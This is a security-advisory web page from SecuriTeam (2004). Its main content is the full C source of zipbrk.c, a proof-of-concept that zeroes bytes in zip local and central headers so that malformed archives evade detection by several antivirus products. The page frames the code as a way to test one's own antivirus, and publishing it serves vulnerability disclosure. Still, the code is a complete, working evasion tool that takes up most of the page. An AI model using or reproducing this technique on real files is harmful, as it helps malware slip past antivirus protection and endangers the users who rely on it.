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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Multiple Vendor Anti-Virus Software Detection Evasion Vulnerability (Exploit) 17 Nov. 2004    Summary As we reported in our previous advisory: Multiple Vendor Anti-Virus Software Detection Evasion Vulnerability, a vulnerability in several Anti-Virus products allows a malformed zip file to evade detection by the Anti-Virus program. The following exploit code can be used to test your Anti-Virus package for the vulnerabilities in question.   Credit: The information has been provided by oc.192. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Exploit: /* zipbrk.c - Proof-of-Concept for CAN-2004-0932 - CAN-2004-0937 Copyright (C) 2004 oc.192 - SECU This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. oc.192 phreaker net */ #include <stdio.h> #include <stdlib.h> unsigned short LOCAL_HEADER_OFFSET = 16; unsigned short CENTRAL_HEADER_OFFSET = 18; unsigned long DATA_REPLACE_VALUE = 0x00000000; void show_usage() { printf("zipbrk - by oc.192 [oc.192@phreaker.net]\n"); printf("Attempts to utilize the vulnerabilities described in:\n"); printf("CAN-2004-0932 - McAfee\nCAN-2004-0933 - Computer Associates\n" "CAN-2004-0934 - Kaspersky\nCAN-2004-0937 - Sophos\n" "CAN-2004-0935 - Eset\nCAN-2004-0936 - RAV\n\n"); printf(" Usage: zipbrk <zip_file>\n"); } void patch_file(FILE *hfile, unsigned long offset) { char *buffer = malloc(1); memset(buffer, 0, 1); fseek(hfile, offset, SEEK_SET); fwrite(buffer, 1, 1, hfile); fwrite(buffer, 1, 1, hfile); fwrite(buffer, 1, 1, hfile); fwrite(buffer, 1, 1, hfile); free(buffer); } void scan_file(char *filename) { FILE *hfile; unsigned char buffer; unsigned long offset = 0; if ((hfile = fopen(filename, "rb+")) == NULL) { printf("[-] Error: Unable to open %s", filename); return; } printf("[+] Scanning %s ...\n", filename); while (fread(&buffer, sizeof(buffer), 1, hfile)) { if (buffer == 0x50) { fread(&buffer, sizeof(buffer), 1, hfile); if (buffer == 0x4B) { fread(&buffer, sizeof(buffer), 1, hfile); if (buffer == 0x01) { fread(&buffer, sizeof(buffer), 1, hfile); if (buffer == 0x02) { /* perform write */ offset = ftell(hfile); offset = offset + LOCAL_HEADER_OFFSET; printf(" [-] Writing local header patch [0x%.8X]\n", offset); patch_file(hfile, offset); fseek(hfile, offset, SEEK_SET); } } else if (buffer == 0x03) { fread(&buffer, sizeof(buffer), 1, hfile); if (buffer == 0x04) { /* perform write */ offset = ftell(hfile); offset = offset + CENTRAL_HEADER_OFFSET; printf(" [-] Writing central header patch [0x%.8X]\n", offset); patch_file(hfile, offset); fseek(hfile, offset, SEEK_SET); } } } } } printf("[+] File scanning finished. EOF:%d ERR:%d\n", feof(hfile), ferror(hfile)); fclose(hfile); } int main(int argc, char *argv[]) { if (argc != 2) { show_usage(); return 0; } if (!strcmp(argv[1], "-h") || !strcmp(argv[1], "/?")) { show_usage(); return 0; } scan_file(argv[1]); return 0; }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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